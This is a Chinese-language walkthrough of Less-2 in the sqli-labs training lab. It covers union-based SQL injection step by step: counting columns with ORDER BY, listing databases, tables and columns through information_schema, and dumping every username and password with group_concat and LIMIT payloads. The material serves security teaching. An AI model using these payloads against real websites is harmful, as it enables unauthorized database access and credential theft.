前言
搭建好sqli-labs靶场后,打开练习的页面
http://127.0.0.1:8080/sqli_labs/
往下翻,找到less-2
sql注入原理
假设页面存在sql注入漏洞的话,那么就可以通过url来给页面源码的sql进行拼凑,从而达到自己的目的。
例如:
页面url为:http://www.xx.com/?id=1
页面源码使用的sql为:select * from test where id={id}
假设存在sql注入漏洞,那么url就可以改为:http://www.xx.com/?id=1 and 1=2
只要回车,这串id值就会带入到sql语句里面进行拼凑:
select * from test where id={1 and 1=2}
这就会造成数据库数据泄露,严重时还能被提权
准备
进入页面后,提示根据id获取值
于是在url后面加上
?id=1
这时候可以看到,页面正常了。
注入点测试
为了测试是否存在注入点,随便在id=1后面加些东西,观察页面变化
可以发现,页面此时是没数据显示的,说明存在注入漏洞。
判断字段数
既然存在注入漏洞,通过order by判断字段数
order by 1的时候,数据正常
order by 2的时候,数据正常
order by 3的时候,数据正常
order by 4的时候,页面提示不存在该字段
由此可知,该页面字段数为3,由此可得到下面的部分sql:
?id=1 union select 1,2,3
进行页面报错
在id上随便输入一些数字,让页面报错,使数字显示出来
爆库
得到显示的数字后,在select 1,2,3中的2或3替换成如下函数,从而得到数据库名:
database()
爆表
接着,把security数据库带入,并通过mysql自带的information_schema查询到想要的表名
?id=188888 union select 1,2,table_name from information_schema.tables where table_schema = 'security'
发现才得到一张表,这并不是我们想要的,所以把上面sql改成如下:
?id=188888 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'
此时得到4张表,users才是我们关心的表
爆字段名
有了表名,接下来只要知道字段叫啥就可以得到想要的数据了,通过如下sql获取字段名:
?id=188888 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'
此时我们得到了6个字段名,前面三个并不是users表本身的字段名,直接忽略。
username,password这两个才是主要的
获取用户名及密码
知道了数据库、表名、字段名后,接下直接获取数据:
?id=188888 union select 1,username,password from security.users
其实,到了这里,事情就已经差不多了,但显示的用户名和密码才一个,就有点不可思议。
于是替换成如下url再查一遍:
?id=188888 union select 1,group_concat(username),group_concat(password) from security.users
就这样,所有用户和密码都已经被拿到了
如果觉得一大堆不好看,也可以使用limit进行分页显示:
?id=188888 union select 1,username,password from security.users limit 0,1
可是你发现,它报错了。没关系,因为后台的sql估计也用到limit之类的分页了,在执行时,用“--+”注释掉就好
?id=188888 union select 1,username,password from security.users limit 0,1--+
?id=188888 union select 1,username,password from security.users limit 1,1--+
此时数据完全正常
验证
得到所有用户名和密码后,我们来后台验证下准确性
由此可见,得到的数据跟后台数据库表是完全对的上的,到此sql注入完成